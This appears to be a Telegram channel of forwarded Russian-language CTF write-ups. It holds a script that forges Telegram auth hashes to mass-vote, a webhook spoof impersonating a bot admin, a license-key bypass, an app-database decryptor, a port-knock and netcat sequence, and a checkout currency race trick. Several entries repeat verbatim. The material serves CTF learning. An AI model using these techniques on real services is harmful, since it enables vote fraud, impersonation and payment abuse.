Miss Fraud (#missfraud) от @vstepanovvv
import hashlib
import hmac
import json
from base64 import b64encode
import requests
import time
import urllib3
urllib3.disable_warnings()
def calc_hmac(key, parsed_data) -> str:
sorted_keys = sorted(parsed_data.keys())
data_check_string = '\n'.join([f'{key}={parsed_data.get(key)}' for key in sorted_keys])
# auth_date=1713654433\nquery_id=AAEAIsIOAAAAAAAiwg5KOFLV\nuser={YOUR_DATA_PLS}
data_check_string = data_check_string.replace(" ", "").replace("True", "true").replace("'", '"')
#print(data_check_string.encode("utf8"))
hmac_msg = hmac.new(key, data_check_string.encode("utf8"), hashlib.sha256)
return hmac_msg.digest().hex()
def calc_query_string(parsed_data):
query_string=f'query_id={parsed_data["query_id"]}&user={user}&auth_date={parsed_data["auth_date"]}&hash={hmac_hash}'.replace('"',"%22").replace('{', '%7B').replace(',', '%2C').replace(':', '%3A').replace('}', '%7D')
query_string=f'"{query_string}"'
query_string=b64encode(query_string.encode("utf8"))
#print(query_string.decode("utf8"))
return query_string.decode("utf8")
if __name__ == "__main__":
parsed_data = {
"query_id": "AAEAIsIOAAAAAAAiwg5KOFLV",
"user": {
YOUR_DATA
},
"auth_date": "1713654433",
}
key = bytes.fromhex("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83")
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "application/json",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Te": "trailers",
"Authorization": "",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin"
}
post_data = {"contestant_id":2937}
#print(post_data)
for i in range(70, 2000):
parsed_data["user"]["id"] = i
hmac_hash = calc_hmac(key, parsed_data)
user = json.dumps(parsed_data["user"]).replace(" ", "")
query_string = calc_query_string(parsed_data)
headers["Authorization"] = f"Bearer {query_string}"
#print(headers)
#print()
resp = requests.post("https://t-pageant-ekbooq0e.spbctf.net/api/vote", json=post_data, cookies={"__cfduid":"CFDUID"}, verify=False, headers=headers)
time.sleep(0.05)
print("Success!")
🤡5
Forwarded from Вика
Проклятый старый дом
ключ: 0000-0000-0000-0000-EAB2
Смотрим условия и консолим, если надо. Ключ состоит из 20 символов.
Есть 2 проверки
1. Обработка первых 8 символов должна совпадать с 9 и 10 символом.
2. Обработка первых 16 символов должна совпадать с последними 4.
Сразу написала первые 16 символов 0. Последние 4 символа - результат обработки первых 16 символов.
function isLicenseValid(e) {
console.log('isKeyFormatValid(e)', isKeyFormatValid(e));
if (!isKeyFormatValid(e))
return !1;
const [,t,n] = e.replace(/-/g, "").match(/(.{16})(.{4})/);
console.log('isSerialChecksumValid(e)', isSerialChecksumValid(t, n));
if (!isSerialChecksumValid(t, n))
return !1;
const i = t.substring(0, 8);
console.log('isSeedFormatValid(e)', isSeedFormatValid(i));
if (!isSeedFormatValid(i))
return !1;
const r = getSubkeyFromSeed(i, 36, 1, 137);
t.substring(8, 10) === r
console.log('t.substring(8, 10) === r', t.substring(8, 10) === r, t.substring(8, 10), r);
return t.substring(8, 10) === r
}
ключ: 0000-0000-0000-0000-EAB2
Смотрим условия и консолим, если надо. Ключ состоит из 20 символов.
Есть 2 проверки
1. Обработка первых 8 символов должна совпадать с 9 и 10 символом.
2. Обработка первых 16 символов должна совпадать с последними 4.
Сразу написала первые 16 символов 0. Последние 4 символа - результат обработки первых 16 символов.
function isLicenseValid(e) {
console.log('isKeyFormatValid(e)', isKeyFormatValid(e));
if (!isKeyFormatValid(e))
return !1;
const [,t,n] = e.replace(/-/g, "").match(/(.{16})(.{4})/);
console.log('isSerialChecksumValid(e)', isSerialChecksumValid(t, n));
if (!isSerialChecksumValid(t, n))
return !1;
const i = t.substring(0, 8);
console.log('isSeedFormatValid(e)', isSeedFormatValid(i));
if (!isSeedFormatValid(i))
return !1;
const r = getSubkeyFromSeed(i, 36, 1, 137);
t.substring(8, 10) === r
console.log('t.substring(8, 10) === r', t.substring(8, 10) === r, t.substring(8, 10), r);
return t.substring(8, 10) === r
}
🔥2
Forwarded from Alexey Kirillov
Привет! Вот немножко райтапов по лиге новичков:
Культ кефира
Смотрим исходники в
Культ кефира
Смотрим исходники в
jadx, находим шифрование БД, пишем обратный расшифровщик, в полученном sqlite файле текстом лежит ключ.import hashlib
import hmac
from Crypto.Cipher import AES
import zlib
with open("MessengerDB.db_enc", "rb") as f:
data = f.read()
# From jadx
encryptionKey = bytearray([100, 97, 116, 97, 98, 97, 115, 101, 101, 110, 99, 114, 121, 112, 116, 105, 111, 110, 107, 101, 121])
str2_l = int.from_bytes(data[:2], "big")
iv = data[2:18]
enc_key_gen = data[38:str2_l+2]
enc_db = data[str2_l+2:-16]
orig_db_md5 = data[-16:]
#==========
# 16 bytes of 0
# mac = AES, HmacSHA256: enc_key_gen (zeros)
# mac2 = AES, HmacSHA256: enc_key_gen (mac)
mac = hmac.new(bytearray([0 for _ in range(16)]), enc_key_gen, hashlib.sha256).digest()
mac2 = hmac.new(mac, enc_key_gen, hashlib.sha256).digest()[:16]
#==========
# mac = AES, HmacSHA256: encryptionKey (enc_key)
# gen iv
# result = AES/GCM/NoPadding: deflater(src_db) (mac, iv)
mac = hmac.new(mac2, encryptionKey, hashlib.sha256).digest()[:16]
cipher = AES.new(mac, AES.MODE_GCM, iv)
dec = cipher.decrypt(enc_db)
with open("decrypted.sqlite", "wb") as f:
f.write(zlib.decompress(dec))
Forwarded from Aslan Taibov
Привет, вот такой промпт у нас в кощей
Forwarded from Вячеслав
You have chess like field with 26 by 26 size: e.t A-Z, 1-26 coordinates. Write a python code what read two coordinates in format 'A15' as sys arguments. Do not forget: second coordinate can consists of 1 or 2 symbols, they all are valid. Do not forget to check it. Then implemet BFS to find the shortest path between them using a knight piece and print a python list of it's coordinates in same format.
Forwarded from Aslan Taibov
Автор: чел из нашей тимы который понятия не имеет что такое ctf но зато люто шарит за LLMки)
#альткапоне от @bash_dev
Имею 2 команды,
/start - Дает меню с одной кнопкой "Да"
/admin - "Меню администратора доступно только @exmafiaguy"
Открыл данные сообщений, увидел там url картинки из ответа к /start: https://t-altcapone-r1m0mt9a.spbctf.net/images/mafia.webp
Перешел по нему, он показал варианты действий:
GET https://t-altcapone-r1m0mt9a.spbctf.net/
Use: ?action=<show_nginx_logs|start_ping>
Перешел по https://t-altcapone-r1m0mt9a.spbctf.net/?action=show_nginx_logs, увидел в логах "POST /telegram/webhook", понял то что работает он на вебхуках
Посмотрел id пользователя @exmafiaguy - 6818118044, Отправляю запросы на https://t-altcapone-r1m0mt9a.spbctf.net/telegram/webhook:
Первый с данными:
Что бы увидеть что там есть в админке, ответ:
Вижу что ничего нужного нет, шлю на следующую страницу,
Получаю то что искал,
Отправляю приглашение:
Просит отправить id пользователя которому нужно отправить приглашение с возможностью отмены:
Отправляю...
Ответ:
И мне в телеграм приходит сообщение от бота, такое же как ответ на /start, но с кнопкой "Нет")
После нажатия кнопки "Нет" получаю флаг))
Имею 2 команды,
/start - Дает меню с одной кнопкой "Да"
/admin - "Меню администратора доступно только @exmafiaguy"
Открыл данные сообщений, увидел там url картинки из ответа к /start: https://t-altcapone-r1m0mt9a.spbctf.net/images/mafia.webp
Перешел по нему, он показал варианты действий:
GET https://t-altcapone-r1m0mt9a.spbctf.net/
Use: ?action=<show_nginx_logs|start_ping>
Перешел по https://t-altcapone-r1m0mt9a.spbctf.net/?action=show_nginx_logs, увидел в логах "POST /telegram/webhook", понял то что работает он на вебхуках
Посмотрел id пользователя @exmafiaguy - 6818118044, Отправляю запросы на https://t-altcapone-r1m0mt9a.spbctf.net/telegram/webhook:
Первый с данными:
{
"message": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"text": "/admin"
}
}Что бы увидеть что там есть в админке, ответ:
{
"chat_id": 6818118044,
"text": "Выберите действие",
"reply_markup": {
"inline_keyboard": [
[{
"text": "Перезагрузить nginx",
"callback_data": "inline_button_restartnginx"
}],
[{
"text": "Атаковать example.org",
"callback_data": "inline_button_ddosexample"
}],
[{
"text": "Пинговать google.com",
"callback_data": "inline_button_pinggoogle"
}],
[{
"text": "Другие >>",
"callback_data": "inline_button_nextpage"
}]
]
},
"method": "sendMessage"
}Вижу что ничего нужного нет, шлю на следующую страницу,
{
"callback_query": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"data": "inline_button_nextpage"
}
}Получаю то что искал,
{
"chat_id": 6818118044,
"text": "Выберите действие",
"reply_markup": {
"inline_keyboard": [
[{
"text": "Отправить приглашение",
"callback_data": "inline_button_sendinvite"
}]
]
},
"method": "sendMessage"
}Отправляю приглашение:
{
"callback_query": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"data": "inline_button_sendinvite"
}
}Просит отправить id пользователя которому нужно отправить приглашение с возможностью отмены:
{
"chat_id": 6818118044,
"text": "В следующие 10 секунд напишите ID чата, куда отправить приглашение",
"method": "sendMessage"
}Отправляю...
{
"message": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"text": "800863363"
}
}Ответ:
{
"chat_id": 6818118044,
"text": "Успешно отправили приглашение.",
"method": "sendMessage"
}И мне в телеграм приходит сообщение от бота, такое же как ответ на /start, но с кнопкой "Нет")
После нажатия кнопки "Нет" получаю флаг))
🔥9🤨2👍1
Forwarded from Alexey Kirillov
Элементарно, Ватсон!
Самое сложное - правильно посчитать индексы. Приведённая инструкция дошла через час после верчения в руках двух карандашей и ленты из бумаги: лента наматывается "бесконечностью", после чего сначала пишем на одной стороне слева-направо, сверху-вниз, потом переворачиваем на 180 градусов и повторяем. Было неизвестно количество "рёбер" карандаша и "витков". Но длина текста равна произведению числа рёбер на число витков, так что можно подобрать. Сочувствую расшифровывающим руками, так как в середине был ключ-обманка с неправильным оформлением.
Самое сложное - правильно посчитать индексы. Приведённая инструкция дошла через час после верчения в руках двух карандашей и ленты из бумаги: лента наматывается "бесконечностью", после чего сначала пишем на одной стороне слева-направо, сверху-вниз, потом переворачиваем на 180 градусов и повторяем. Было неизвестно количество "рёбер" карандаша и "витков". Но длина текста равна произведению числа рёбер на число витков, так что можно подобрать. Сочувствую расшифровывающим руками, так как в середине был ключ-обманка с неправильным оформлением.
task = "H_S_|_e_gImt-o_tdondFS_ta_nlv0PgOSuSKGyCen3s_td_:Oc|iuM__t_aiFCeLasaea|T:d_oStoo_te-osiaL35rdf}:Mppnym|F_itnhecfF4:_npdnohtke_|_Eped_bC_Kch|enu_ig_Daendw_Ren4IFShcrEiahit0Kr_maoese_ci_e5i|cnnr_itavtseneUelHe_n_crGtgblcn-eddaCrs_i|elddgyoonpa0trrshul3G_:_iuAe:LdS_p_:h_cltr_ffie:tr|n_P_3cdS_|oeu4es_7Ekm|iG_{ce|_gCe0aumt_ES-wns:doA_v_e|crM5kr-Mlh}fucAea_e_ecp__umriHsCeese_|_aaa|_lt1dnDrGleeTml_3do_ale_CM-CnrrIpafL:dBerl:chesIWelKserfuy_auygn3_{s__|ne|_te___anmees|1rlErs|edaVA_Ji|ag-rs_rfSrcey_sCO1ellc|:iRinfamCdo_c:GertDes|3_hn7si_rC_cLn0RnpaerMt|hcou_:|S:haaY|sJiaGtscn0ees_yaf-oampb_-u_ir}_Keepsre_eym_reM_x{_sl_iRt_sTsg|ce_nteadFnM_Rs_yH_AEtlTdocJphteI4yDk__n:otOPoo1siT_tw_i?Utoeeo:nm_riH2d_u|uuen:tnubhrtn|6fhc_r_deEune:_SnK5b|a_eerRaihkCh{ntFiTiRvmsi_taDe_LCtTrsnonteohtC_sochcaim|sThn_y71hihy|ek_e_fa}rW:raet_do-thed4_icaoe|-r3Crkfr|1a|glfeFen_|efrtEp_rn"
enc = "ADGYVSPMJ147BEHZWTQNK258CFI0XUROL369"
dec = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def gen_inds(step = 3, grains_h = 3):
inds = []
for j in range(step):
common = j
for i in range(grains_h):
inds.append(common + i * step)
for i in range(grains_h):
inds.append(common + 2 * grains_h * step + (grains_h - 1 - i) * step)
for i in range(grains_h):
inds.append(common + grains_h * step + (grains_h - 1 - i) * step)
for i in range(grains_h):
inds.append(common + 3 * grains_h * step + i * step)
return inds
def encode(dec, step = 3, grains_h = 3):
inds = gen_inds(step, grains_h)
return "".join([dec[j] for j in inds])
def decode(enc, step = 3, grains_h = 3):
inds = gen_inds(step, grains_h)
res = ["?" for _ in range(4 * step * grains_h)]
for i, j in enumerate(inds):
res[j] = enc[i]
return "".join(res)
# Test example
# print(encode(dec) == enc)
# print(decode(enc) == dec)
# 864 = 2 * 2 * 2 * 2 * 2 * 3 * 3 * 3
# Text must be divided by 4 part, so we just try every 2 * 2 * 2 * 3 * 3 * 3 to 2 numbers
possible_step = [27]#[2, 3, 4, 6, 8, 9, 12, 18, 24, 27, 36, 54, 72, 108] # divisors of 216
for step in possible_step:
print(step, decode(task, step, 216 // step))🔥5🤡3
Forwarded from HiMiC
Золотая Лопа
Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp
открывается порт 11111
коннектимся к нему
nc 45.82.152.190 11111
Вводим токен команды.
Получаем флаг.
Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp
открывается порт 11111
коннектимся к нему
nc 45.82.152.190 11111
Вводим токен команды.
Получаем флаг.
😱2👍1
Forwarded from Юлия Шульгина
пятницемобиль: Переводишь себя на доллары. Добавляешь дорогую поездку в корзину. Открываешь корзину в новой вкладке, делаешь чекаут. В первой вкладке переводишь себя на рубли. Во второй вкладке нажимаешь "оплатить"
🤩1
Forwarded from Юлия Шульгина
репкозиторий: загружаем pdf в онлайн-конвертер в редактируемые форматы (я перегнала в pptx), убираем красную "наклеечку" и видим код на иллюстрации (в разделе, где про настройку для сбора конкретных плодов)
Forwarded from HiMiC
Золотая Лопа
Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp
открывается порт 11111
коннектимся к нему
nc 45.82.152.190 11111
Вводим токен команды.
Получаем флаг.
Авторы решения: @himic5 и @leonideath
Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp
открывается порт 11111
коннектимся к нему
nc 45.82.152.190 11111
Вводим токен команды.
Получаем флаг.
Авторы решения: @himic5 и @leonideath